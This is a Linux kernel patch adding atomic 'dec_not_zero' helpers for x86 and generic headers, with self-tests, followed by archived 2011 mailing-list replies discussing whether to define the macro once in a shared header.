diff --git a/arch/x86/lib/atomic64_cx8_32.S b/arch/x86/lib/atomic64_cx8_32.S
index 391a083..989638c 100644
--- a/arch/x86/lib/atomic64_cx8_32.S
+++ b/arch/x86/lib/atomic64_cx8_32.S
@@ -220,3 +220,31 @@ ENTRY(atomic64_inc_not_zero_cx8)
 	jmp 3b
 	CFI_ENDPROC
 ENDPROC(atomic64_inc_not_zero_cx8)
+
+ENTRY(atomic64_dec_not_zero_cx8)
+	CFI_STARTPROC
+	SAVE ebx
+
+	read64 %esi
+1:
+	testl %eax, %eax
+	je 4f
+2:
+	movl %eax, %ebx
+	movl %edx, %ecx
+	subl $1, %ebx
+	sbbl $0, %ecx
+	LOCK_PREFIX
+	cmpxchg8b (%esi)
+	jne 1b
+
+	movl $1, %eax
+3:
+	RESTORE ebx
+	ret
+4:
+	testl %edx, %edx
+	jne 2b
+	jmp 3b
+	CFI_ENDPROC
+ENDPROC(atomic64_dec_not_zero_cx8)
diff --git a/include/asm-generic/atomic-long.h b/include/asm-generic/atomic-long.h
index b7babf0..0fe75ab 100644
--- a/include/asm-generic/atomic-long.h
+++ b/include/asm-generic/atomic-long.h
@@ -130,6 +130,7 @@ static inline long atomic_long_add_unless(atomic_long_t *l, long a, long u)
 }
 
 #define atomic_long_inc_not_zero(l) atomic64_inc_not_zero((atomic64_t *)(l))
+#define atomic_long_dec_not_zero(l) atomic64_dec_not_zero((atomic64_t *)(l))
 
 #define atomic_long_cmpxchg(l, old, new) \
 	(atomic64_cmpxchg((atomic64_t *)(l), (old), (new)))
@@ -247,6 +248,7 @@ static inline long atomic_long_add_unless(atomic_long_t *l, long a, long u)
 }
 
 #define atomic_long_inc_not_zero(l) atomic_inc_not_zero((atomic_t *)(l))
+#define atomic_long_dec_not_zero(l) atomic_dec_not_zero((atomic_t *)(l))
 
 #define atomic_long_cmpxchg(l, old, new) \
 	(atomic_cmpxchg((atomic_t *)(l), (old), (new)))
diff --git a/include/asm-generic/atomic64.h b/include/asm-generic/atomic64.h
index b18ce4f..90ff9b1 100644
--- a/include/asm-generic/atomic64.h
+++ b/include/asm-generic/atomic64.h
@@ -38,5 +38,6 @@ extern int	 atomic64_add_unless(atomic64_t *v, long long a, long long u);
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v) 	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 #endif  /*  _ASM_GENERIC_ATOMIC64_H  */
diff --git a/include/asm-generic/local.h b/include/asm-generic/local.h
index 9ceb03b..fabf4f3 100644
--- a/include/asm-generic/local.h
+++ b/include/asm-generic/local.h
@@ -44,6 +44,7 @@ typedef struct
 #define local_xchg(l, n) atomic_long_xchg((&(l)->a), (n))
 #define local_add_unless(l, _a, u) atomic_long_add_unless((&(l)->a), (_a), (u))
 #define local_inc_not_zero(l) atomic_long_inc_not_zero(&(l)->a)
+#define local_dec_not_zero(l) atomic_long_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
diff --git a/include/asm-generic/local64.h b/include/asm-generic/local64.h
index 5980002..76acbe2 100644
--- a/include/asm-generic/local64.h
+++ b/include/asm-generic/local64.h
@@ -45,6 +45,7 @@ typedef struct {
 #define local64_xchg(l, n)	local_xchg((&(l)->a), (n))
 #define local64_add_unless(l, _a, u) local_add_unless((&(l)->a), (_a), (u))
 #define local64_inc_not_zero(l)	local_inc_not_zero(&(l)->a)
+#define local64_dec_not_zero(l)	local_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
@@ -83,6 +84,7 @@ typedef struct {
 #define local64_xchg(l, n)	atomic64_xchg((&(l)->a), (n))
 #define local64_add_unless(l, _a, u) atomic64_add_unless((&(l)->a), (_a), (u))
 #define local64_inc_not_zero(l)	atomic64_inc_not_zero(&(l)->a)
+#define local64_dec_not_zero(l)	atomic64_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
diff --git a/include/linux/atomic.h b/include/linux/atomic.h
index 42b77b5..ad2b750 100644
--- a/include/linux/atomic.h
+++ b/include/linux/atomic.h
@@ -27,6 +27,15 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 #define atomic_inc_not_zero(v)		atomic_add_unless((v), 1, 0)
 
 /**
+ * atomic_dec_not_zero - decrement unless the number is zero
+ * @v: pointer of type atomic_t
+ *
+ * Atomically decrements @v by 1, so long as @v is non-zero.
+ * Returns non-zero if @v was non-zero, and zero otherwise.
+ */
+#define atomic_dec_not_zero(v)		atomic_add_unless((v), -1, 0)
+
+/**
  * atomic_inc_not_zero_hint - increment if not null
  * @v: pointer of type atomic_t
  * @hint: probable value of the atomic before the increment
diff --git a/lib/atomic64_test.c b/lib/atomic64_test.c
index 0c33cde..b7468b7 100644
--- a/lib/atomic64_test.c
+++ b/lib/atomic64_test.c
@@ -145,6 +145,25 @@ static __init int test_atomic64(void)
 	r += one;
 	BUG_ON(v.counter != r);
 
+	INIT(onestwos);
+	BUG_ON(!atomic64_dec_not_zero(&v));
+	r -= one;
+	BUG_ON(v.counter != r);
+
+	INIT(0);
+	BUG_ON(atomic64_dec_not_zero(&v));
+	BUG_ON(v.counter != r);
+
+	INIT(one);
+	BUG_ON(!atomic64_dec_not_zero(&v));
+	r -= one;
+	BUG_ON(v.counter != r);
+
+	INIT(-one);
+	BUG_ON(!atomic64_dec_not_zero(&v));
+	r -= one;
+	BUG_ON(v.counter != r);
+
 #ifdef CONFIG_X86
 	printk(KERN_INFO "atomic64 test passed for %s platform %s CX8 and %s SSE\n",
 #ifdef CONFIG_X86_64
-- 
1.7.7.3




From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.org.freifunk.batman,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Sun, 4 Dec 2011 21:33:16 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20111204213316.GB14542@n2100.arm.linux.org.uk>
References: <1323013369-29691-1-git-send-email-sven@narfation.org>
Reply-To: The list for a Better Approach To Mobile Ad-hoc Networking
	<b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323034640 3600 80.91.229.12 (4 Dec 2011 21:37:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 21:37:20 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	"H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
	Randy Dunlap <rdunlap-/UHa2rfvQTnk1uMJSBkQmQ@public.gmane.org>,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>,
	Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	Jeff Dike <jdike-OPE4K8JWMJJBDgjK7y7TUQ@public.gmane.org>, Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>,
	linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, Iv
To: Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
Original-X-From: b.a.t.m.a.n-bounces-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org Sun Dec 04 22:37:08 2011
Return-path: <b.a.t.m.a.n-bounces-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org>
Envelope-to: gofb-b.a.t.m.a.n-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from open-mesh.org ([78.46.248.236])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <b.a.t.m.a.n-bounces-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org>)
	id 1RXJkB-00039S-Is
	for gofb-b.a.t.m.a.n-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Sun, 04 Dec 2011 22:37:07 +0100
Original-Received: from open-mesh.org (localhost [127.0.0.1])
	by open-mesh.org (Postfix) with ESMTP id 293AA60087B;
	Sun,  4 Dec 2011 22:37:07 +0100 (CET)
Authentication-Results: open-mesh.org; dkim=neutral (verification failed)
	header.i=@arm.linux.org.uk; dkim-adsp=none
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[78.32.30.218]) by open-mesh.org (Postfix) with ESMTPS id 44A6260078B
	for <b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org>;
	Sun,  4 Dec 2011 22:33:57 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=2OY5smcNkF9QTn/tdYd0eNNGBIQr3Clq2NF9gAwDXqc=; 
	b=DM8S+/XHUw8nS7LEFE0uO7qZUdbe7a05QNYAsjLibTohm4vtPtw+EJKhpt8ji92bRSG/yqbZf7NhMWmYdXFxCjhYmYwY162Ymnyi41awmV2A3SVPPG0G0SZRIyUwQJN8eTyElgb/BbmXEy2KwVtKBFWU10pixh/mVY6VA+Ko4Zg=;
Original-Received: from n2100.arm.linux.org.uk
	([2002:4e20:1eda:1:214:fdff:fe10:4f86]:50678)
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76) (envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1RXJgU-0002Fd-It; Sun, 04 Dec 2011 21:33:19 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1RXJgS-00080y-GV; Sun, 04 Dec 2011 21:33:16 +0000
Content-Disposition: inline
In-Reply-To: <1323013369-29691-1-git-send-email-sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Mailman-Approved-At: Sun, 04 Dec 2011 22:37:05 +0100
X-BeenThere: b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: The list for a Better Approach To Mobile Ad-hoc Networking
	<b.a.t.m.a.n.lists.open-mesh.org>
List-Unsubscribe: <https://lists.open-mesh.org/mm/options/b.a.t.m.a.n>,
	<mailto:b.a.t.m.a.n-request-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.open-mesh.org/pipermail/b.a.t.m.a.n>
List-Post: <mailto:b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org>
List-Help: <mailto:b.a.t.m.a.n-request-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org?subject=help>
List-Subscribe: <https://lists.open-mesh.org/mm/listinfo/b.a.t.m.a.n>,
	<mailto:b.a.t.m.a.n-request-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org?subject=subscribe>
Original-Sender: b.a.t.m.a.n-bounces-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org
Errors-To: b.a.t.m.a.n-bounces-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org
Xref: news.gmane.org gmane.org.freifunk.batman:5770 gmane.linux.ports.mips.general:33123 gmane.linux.ports.ia64:21905 gmane.linux.documentation:3656 gmane.linux.ports.sparc:15534 gmane.linux.ports.hexagon:347 gmane.linux.kernel.cross-arch:11633 gmane.linux.uml.devel:13285 gmane.linux.ports.arm.kernel:142592 gmane.linux.ports.parisc:4055 gmane.linux.kernel:1224077 gmane.linux.ports.alpha:1602 gmane.linux.ports.ppc64.devel:78801
Archived-At: <http://permalink.gmane.org/gmane.org.freifunk.batman/5770>

On Sun, Dec 04, 2011 at 04:42:49PM +0100, Sven Eckelmann wrote:
> diff --git a/arch/alpha/include/asm/atomic.h b/arch/alpha/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/arch/arm/include/asm/atomic.h b/arch/arm/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
> diff --git a/arch/ia64/include/asm/atomic.h b/arch/ia64/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/arch/mips/include/asm/atomic.h b/arch/mips/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/arch/powerpc/include/asm/atomic.h b/arch/powerpc/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/arch/s390/include/asm/atomic.h b/arch/s390/include/asm/atomic.h
> +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
> diff --git a/arch/sparc/include/asm/atomic_64.h b/arch/sparc/include/asm/atomic_64.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/arch/tile/include/asm/atomic_32.h b/arch/tile/include/asm/atomic_32.h
> +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
> diff --git a/arch/tile/include/asm/atomic_64.h b/arch/tile/include/asm/atomic_64.h
> +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
> diff --git a/arch/x86/include/asm/atomic64_64.h b/arch/x86/include/asm/atomic64_64.h
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
> diff --git a/include/asm-generic/atomic64.h b/include/asm-generic/atomic64.h
> +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)

I think this is rather silly - all these definitions are very similar to
each other.  Is there really no way to put this into include/linux/atomic.h,
maybe as something like:

#ifndef atomic64_dec_not_zero
#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
#endif

and avoid having to add essentially the same definition to 12 individual
files?

Architectures which want to override it can do by the following:

#define atomic64_dec_not_zero		atomic64_dec_not_zero

which won't have any effect on C nor asm code.


From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.org.freifunk.batman,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.ports.hexagon
Subject: Re: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Sun, 04 Dec 2011 22:49:10 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1699880.NTdz2k3W9O@sven-laptop.home.narfation.org>
References: <1323013369-29691-1-git-send-email-sven@narfation.org> <20111204213316.GB14542@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart4938203.Qb6ixptZZ3"; micalg="pgp-sha512"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1323035400 9231 80.91.229.12 (4 Dec 2011 21:50:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 21:50:00 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        linux-arch@vger.kernel.org, b.a.t.m.a.n@lists.open-mesh.org,
        Randy Dunlap <rdunlap@xenotime.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, "David S. Miller" <davem@davemloft.net>,
        Chris Metc
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Dec 04 22:49:48 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXJwP-0006PC-Ca
	for sgi-linux-mips@gmane.org; Sun, 04 Dec 2011 22:49:45 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:41177 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903641Ab1LDVtl (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 4 Dec 2011 22:49:41 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 04 Dec 2011 22:49:23 +0100 (CET)
Original-Received: from narfation.org ([79.140.41.39]:43628 "EHLO v3-1039.vlinux.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903637Ab1LDVtS (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 4 Dec 2011 22:49:18 +0100
Original-Received: from sven-laptop.home.narfation.org (i59F6CF54.versanet.de [89.246.207.84])
        by v3-1039.vlinux.de (Postfix) with ESMTPSA id 33C9694013;
        Sun,  4 Dec 2011 22:51:01 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
        t=1323035461; bh=GKM8jeAiRdqqfuG6yco2XIYwCs5CnJh6qUypHqCFVDg=;
        h=From:To:Cc:Subject:Date:Message-ID:In-Reply-To:References:
         MIME-Version:Content-Type:Content-Transfer-Encoding;
        b=Eg1ST5/SDpig76RBNCbl2zf51WC7OpUqsG4Q3UUwixwh2a3btULnIUmYCXLsyIplO
         iXBh8VgZ8AtsZPuC5/H8n/PsSz5SMotEZwtzma+I0EIN3fQAmnWyAnr2/YuFDvVAN7
         AAY1kj83V5fBqJ8a1uC0Yh5p9MArKIDy+FFCrp5w=
User-Agent: KMail/4.6.0 (Linux/3.1.0-1-686-pae; KDE/4.6.5; i686; ; )
In-Reply-To: <20111204213316.GB14542@n2100.arm.linux.org.uk>
X-archive-position: 32023
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sven@narfation.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33124 gmane.linux.kernel.cross-arch:11634 gmane.org.freifunk.batman:5772 gmane.linux.documentation:3657 gmane.linux.kernel:1224080 gmane.linux.ports.alpha:1603 gmane.linux.ports.arm.kernel:142593 gmane.linux.ports.ia64:21906 gmane.linux.ports.parisc:4056 gmane.linux.ports.ppc64.devel:78802 gmane.linux.ports.sparc:15535 gmane.linux.uml.devel:13286 gmane.linux.ports.hexagon:348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33124>


--nextPart4938203.Qb6ixptZZ3
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

On Sunday 04 December 2011 21:33:16 Russell King - ARM Linux wrote:
[...]
> > +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
> 
> I think this is rather silly - all these definitions are very similar to
> each other.  Is there really no way to put this into include/linux/atomic.h,
> maybe as something like:
> 
> #ifndef atomic64_dec_not_zero
> #define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
> #endif
> 
> and avoid having to add essentially the same definition to 12 individual
> files?
> 
> Architectures which want to override it can do by the following:
> 
> #define atomic64_dec_not_zero		atomic64_dec_not_zero
> 
> which won't have any effect on C nor asm code.

 * https://lkml.org/lkml/2011/5/8/15
 * https://lkml.org/lkml/2011/5/8/16
 * https://lkml.org/lkml/2011/5/8/321

Kind regards,
	Sven
--nextPart4938203.Qb6ixptZZ3
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAABCgAGBQJO2+rWAAoJEF2HCgfBJntGGaoP/1cME9u1tSkxi9MYlM/Ss2sw
Du85XnWWOFnV+CRwZ7+QCkgr10dzf/Qf7ekcxzM/7wapAawu0FmBbehfNW+06uW0
4XrIxUDaZy0xgHusju96MVJav0msORD/2RXM3rQxwkjR2FhmfbVntuIu/5EqEHFv
jIzksziGDgrHx6/HMjrEiX8p2tPPBfQ7MGa1Cvj+kLgDhPAPCOUKfpwgdj35MYHe
2D+zXMr6aHi/JtDkYK2BV9u9nAGx91fcPdOO4/SyyxVg4DLrUnuRgWhNF9UCXd7R
IDkz2SAlkqP5RXKa9XMxnS1n1zjkpmc1wfRL4rPHmk7Fg9IgidnlZ8TsXKuDjoVR
JtIuXmj1FQ5nuHnzKnzhIfHMlu395tL0PVHeWi1+dPZGfUCLX+T4jdlTRaShY3d1
UUzpbfKuc2dy8uX5BNfJ5kQl4PSx8w97Kn+8vRbb3U627FIpdkK8RQNEGgB7wpIR
rCqnxvsjPiiyQA9ckXmL/S0d9xlrPcrB1Tu4kUgXYTr6llV/xKWuYtl801IFP6lr
kFqvPd5St69DP66x5bMMC4NalTEfCIx7HOx+xd3xQC+9qsJVLomz95bvMZHxeI8K
Ae736/5KDqONzVPOKW2J+UJIJLqIZPuSbNVRY9lkTZXjii1U25WY03PGAGwa4LLP
mGvc5Y2WUfdr8CtFrvVL
=T3Oo
-----END PGP SIGNATURE-----

--nextPart4938203.Qb6ixptZZ3--




From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.org.freifunk.batman,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.ports.hexagon
Subject: Re: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Sun, 4 Dec 2011 22:18:50 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <20111204221850.GC14542@n2100.arm.linux.org.uk>
References: <1323013369-29691-1-git-send-email-sven@narfation.org> <20111204213316.GB14542@n2100.arm.linux.org.uk> <1699880.NTdz2k3W9O@sven-laptop.home.narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323037320 23669 80.91.229.12 (4 Dec 2011 22:22:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 22:22:00 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        linux-arch@vger.kernel.org, b.a.t.m.a.n@lists.open-mesh.org,
        Randy Dunlap <rdunlap@xenotime.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, "David S. Miller" <davem@davemloft.net>,
        Chris Metc
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Dec 04 23:21:48 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXKRN-0007ZM-Ak
	for sgi-linux-mips@gmane.org; Sun, 04 Dec 2011 23:21:45 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:60641 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903650Ab1LDWVk (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 4 Dec 2011 23:21:40 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 04 Dec 2011 23:21:23 +0100 (CET)
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:34365 "EHLO
        caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1903649Ab1LDWVS (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sun, 4 Dec 2011 23:21:18 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=PwBbvNY1gkLyVx7MIqMuQ4iIO41bBCwOKq1im/PcvdE=;
        b=ZwkunshBzF6Rw0q/zwfgK9DUsmsyGJY+fJtqvrQEcCeqrkBDFHoFyk+bhbGge/PdpctxMbcT21vOzjbk0w0oZamy3ysky6TWJ/YH/O95qFPhQBsNlImHtDKqmfQrdsrisNb7lEqbyv7PdX0Krh289CJ8HWcCYIN6V2bxU/dZZuA=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:41618)
        by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
        (Exim 4.76)
        (envelope-from <linux@arm.linux.org.uk>)
        id 1RXKOb-0002IJ-0F; Sun, 04 Dec 2011 22:18:53 +0000
